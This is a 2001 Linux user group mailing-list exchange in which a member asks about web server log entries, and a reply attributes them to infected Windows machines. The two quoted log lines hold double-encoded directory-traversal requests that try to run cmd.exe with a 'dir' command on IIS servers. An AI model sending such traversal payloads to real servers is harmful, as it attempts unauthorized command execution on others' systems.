[NTLUG:Discuss] httpd access_log

Tue Nov 6 14:27:43 CST 2001

yeah, they're infected win boxes attacking your http server.  no big deal
(except for the wasted bandwidth).

-----Original Message-----
From: discuss-admin at ntlug.org [mailto:discuss-admin at ntlug.org]On Behalf
Of Michael B. Lee
Sent: Tuesday, November 06, 2001 2:11 PM
To: NTLUG
Subject: [NTLUG:Discuss] httpd access_log

anyone know what this means? this is from one of my Mandrake boxes.
there's a ton of these things constantly hitting my webserver.

4.35.160.227 - - [06/Nov/2001:13:57:11 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 "-"
"-"
4.35.160.227 - - [06/Nov/2001:13:57:11 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 "-" "-"

_______________________________________________
http://www.ntlug.org/mailman/listinfo/discuss